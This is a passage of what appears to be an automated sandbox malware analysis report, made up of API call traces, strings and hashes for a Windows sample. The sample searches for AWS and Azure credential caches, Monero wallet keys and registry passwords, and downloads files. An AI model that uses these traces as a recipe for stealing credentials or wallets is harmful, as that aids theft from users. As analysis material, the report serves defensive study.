Part of subcall function 00884910: wsprintfA.USER32 ref: 008849B0
Part of subcall function 00884910: StrCmpCA.SHLWAPI(?,008908D2), ref: 008849C5
Part of subcall function 00884910: wsprintfA.USER32 ref: 008849E2
Part of subcall function 00884910: PathMatchSpecA.SHLWAPI(?,?), ref: 00884A1E
Part of subcall function 00884910: lstrcat.KERNEL32(?,010FEBC8), ref: 00884A4A
Part of subcall function 00884910: lstrcat.KERNEL32(?,00890FF8), ref: 00884A5C
Part of subcall function 00884910: lstrcat.KERNEL32(?,?), ref: 00884A70
Part of subcall function 00884910: lstrcat.KERNEL32(?,00890FFC), ref: 00884A82
Part of subcall function 00884910: lstrcat.KERNEL32(?,?), ref: 00884A96
Part of subcall function 00884910: CopyFileA.KERNEL32(?,?,00000001), ref: 00884AAC
Part of subcall function 00884910: DeleteFileA.KERNEL32(?), ref: 00884B31

Strings

\.aws\, xrefs: 00884E4D
*.*, xrefs: 00884DD8
Azure\.azure, xrefs: 00884DD3
Azure\.aws, xrefs: 00884E5F
*.*, xrefs: 00884E64
\.IdentityService\, xrefs: 00884ED9
Azure\.IdentityService, xrefs: 00884EEB
\.azure\, xrefs: 00884DC1
msal.cache, xrefs: 00884EF0

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: cd167dd7f6f5dc7db5a24ea86afc892df41d8bfb3cf815f5560742a4c247bf3b
Instruction ID: b88d8521576b2fb0faef722249fef054f12c36f6347d37f8f86dbb903a6f729b
Opcode Fuzzy Hash: cd167dd7f6f5dc7db5a24ea86afc892df41d8bfb3cf815f5560742a4c247bf3b
Instruction Fuzzy Hash: CA41927A94420867DF14F7A0DC8BFE93238FB24700F404994B149E61C2EEB997898B93

Function 00871310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 008712A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 008712B4
Part of subcall function 008712A0: RtlAllocateHeap.NTDLL(00000000), ref: 008712BB
Part of subcall function 008712A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 008712D7
Part of subcall function 008712A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 008712F5
Part of subcall function 008712A0: RegCloseKey.ADVAPI32(?), ref: 008712FF

lstrcat.KERNEL32(?,00000000), ref: 0087134F
lstrlen.KERNEL32(?), ref: 0087135C
lstrcat.KERNEL32(?,.keys), ref: 00871377

Part of subcall function 0088A740: lstrcpy.KERNEL32(00890E17,00000000), ref: 0088A788

Part of subcall function 0088A9B0: lstrlen.KERNEL32(?,010F89D8,?,\Monero\wallet.keys,00890E17), ref: 0088A9C5
Part of subcall function 0088A9B0: lstrcpy.KERNEL32(00000000), ref: 0088AA04
Part of subcall function 0088A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0088AA12

Part of subcall function 0088A8A0: lstrcpy.KERNEL32(?,00890E17), ref: 0088A905

Part of subcall function 00888B60: GetSystemTime.KERNEL32(00890E1A,010FD900,008905AE,?,?,008713F9,?,0000001A,00890E1A,00000000,?,010F89D8,?,\Monero\wallet.keys,00890E17), ref: 00888B86

Part of subcall function 0088A920: lstrcpy.KERNEL32(00000000,?), ref: 0088A972
Part of subcall function 0088A920: lstrcat.KERNEL32(00000000), ref: 0088A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00871465

Part of subcall function 0088A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0088A7E6

Part of subcall function 008799C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 008799EC
Part of subcall function 008799C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00879A11
Part of subcall function 008799C0: LocalAlloc.KERNEL32(00000040,?), ref: 00879A31
Part of subcall function 008799C0: ReadFile.KERNEL32(000000FF,?,00000000,0087148F,00000000), ref: 00879A5A
Part of subcall function 008799C0: LocalFree.KERNEL32(0087148F), ref: 00879A90
Part of subcall function 008799C0: CloseHandle.KERNEL32(000000FF), ref: 00879A9A

DeleteFileA.KERNEL32(00000000), ref: 008714EF

Strings

\Monero\wallet.keys, xrefs: 0087138D
wallet_path, xrefs: 00871330
SOFTWARE\monero-project\monero-core, xrefs: 00871335
.keys, xrefs: 0087136B

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: 6712d7302ab6667653912718e5ae4b306f8ea68924d58260125d5257ac290753
Instruction ID: 12f34457b18b518bc41e383d3847bd04482f60f6c9b4f49b2f662e1b1a0022ff
Opcode Fuzzy Hash: 6712d7302ab6667653912718e5ae4b306f8ea68924d58260125d5257ac290753
Instruction Fuzzy Hash: 6C5144B195011857DB19FB64DD96BED733CFB50700F4041A9B60AE20D2EE346B86CBA7

Function 008775D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 008772D0: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 0087733A
Part of subcall function 008772D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 008773B1
Part of subcall function 008772D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0087740D
Part of subcall function 008772D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00877452
Part of subcall function 008772D0: HeapFree.KERNEL32(00000000), ref: 00877459

lstrcat.KERNEL32(358B9020,008917FC), ref: 00877606
lstrcat.KERNEL32(358B9020,00000000), ref: 00877648
lstrcat.KERNEL32(358B9020, : ), ref: 0087765A
lstrcat.KERNEL32(358B9020,00000000), ref: 0087768F
lstrcat.KERNEL32(358B9020,00891804), ref: 008776A0
lstrcat.KERNEL32(358B9020,00000000), ref: 008776D3
lstrcat.KERNEL32(358B9020,00891808), ref: 008776ED
task.LIBCPMTD ref: 008776FB

Strings

: , xrefs: 0087764E

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: 8cfeaffb784648441a2e8d3729aee433f90c5a327cf17e2294d1047e6fdde894
Instruction ID: 4003e79a26a7e34e4f9cf70db9960584adbb258eafabeca879cc480b25c10265
Opcode Fuzzy Hash: 8cfeaffb784648441a2e8d3729aee433f90c5a327cf17e2294d1047e6fdde894
Instruction Fuzzy Hash: 42312171904109EBCB04EBF8DC99DFE7774FB64301B148118E116E72A6DA34E947DB62

Function 00887500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00887542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0088757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00887603
RtlAllocateHeap.NTDLL(00000000), ref: 0088760A
wsprintfA.USER32 ref: 00887640

Part of subcall function 0088A740: lstrcpy.KERNEL32(00890E17,00000000), ref: 0088A788

Strings

:, xrefs: 0088755C
\, xrefs: 00887560
C, xrefs: 0088754C

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 1544550907-3809124531
Opcode ID: 87ca5ba061a652329c6a7dc23ef0549e2fc37331dda6111445ff243191bcbb1c
Instruction ID: f16159ff6bcd18fc36a25d2b093aa9c4cfa411238a7d2ebaf7ec931c69e0f2aa
Opcode Fuzzy Hash: 87ca5ba061a652329c6a7dc23ef0549e2fc37331dda6111445ff243191bcbb1c
Instruction Fuzzy Hash: F44183B1D04248EBDB10EF98DC45BDEBBB8FF18704F100199F509A7291D778AA44CBA6

Function 00888100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,010FE390,00000000,?,00890E2C,00000000,?,00000000), ref: 00888130
RtlAllocateHeap.NTDLL(00000000), ref: 00888137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00888158
__aulldiv.LIBCMT ref: 00888172
__aulldiv.LIBCMT ref: 00888180
wsprintfA.USER32 ref: 008881AC

Strings

@, xrefs: 0088814D
%d MB, xrefs: 008881A3

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: dd315d7d7042d2fae915ac98aec7447e691016b245ea001a3f5a675007893c34
Instruction ID: 095c46b20e3dc8931d5672bee55a0b9eb4371950234fda53481b693af03cbd81
Opcode Fuzzy Hash: dd315d7d7042d2fae915ac98aec7447e691016b245ea001a3f5a675007893c34
Instruction Fuzzy Hash: 79210BB1E44218ABDB14EFD4CC49FAEB7B8FB44B14F104609F615BB280DB7859018BA5

Function 008760A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0088A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0088A7E6

Part of subcall function 008747B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00874839
Part of subcall function 008747B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00874849

InternetOpenA.WININET(00890DF7,00000001,00000000,00000000,00000000), ref: 0087610F
StrCmpCA.SHLWAPI(?,010FEB98), ref: 00876147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 0087618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 008761B3
InternetReadFile.WININET(?,?,00000400,?), ref: 008761DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0087620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00876249
InternetCloseHandle.WININET(?), ref: 00876253
InternetCloseHandle.WININET(00000000), ref: 00876260

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 7f2bf7023f8107a0943363e8e254b800eca7a53732d76f6834c02952af80a3f8
Instruction ID: 0e4891e6db0ecc7c90b93b5f46b7740016c84ef89cb714310d3ecf08b5118bf1
Opcode Fuzzy Hash: 7f2bf7023f8107a0943363e8e254b800eca7a53732d76f6834c02952af80a3f8
Instruction Fuzzy Hash: 46518471900218ABDB24DF90DC49BEE7778FB04705F108198B609E71D5EB74AA89CF66

Function 008772D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 0087733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 008773B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0087740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00877452
HeapFree.KERNEL32(00000000), ref: 00877459
task.LIBCPMTD ref: 00877555

Strings

Password, xrefs: 00877401

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
